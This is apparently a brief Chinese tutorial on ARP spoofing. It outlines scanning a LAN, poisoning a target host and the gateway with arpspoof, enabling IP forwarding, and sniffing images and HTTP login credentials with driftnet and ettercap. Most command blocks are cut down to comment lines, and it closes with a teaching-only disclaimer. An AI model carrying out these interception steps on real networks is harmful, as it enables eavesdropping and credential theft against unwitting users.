ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网上上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网上上特定计算机或所有计算机无法正常连线。
扫描局域网内活跃主机
1 | # 安装 fping |
识别主机
1 | # -O 后面是需要扫描的主机列表 |
arp 欺骗
双向欺骗,这里 192.168.1.100 是第一步中扫描的目标主机,192.168.1.1 是网关地址。
1 | # 安装 arpspoof 工具 |
这个时候目标已经不能上网了,我们开启主机的ip转发。
1 | echo 1 > /proc/sys/net/ipv4/ip_forward |
图片探嗅
1 | driftnet -i eth0 |
效果不是很理想,广告比较多。
HTTP 账号探嗅
1 | # 安装 ettercap 工具 |
说明
本教程仅用于教学,切勿违法。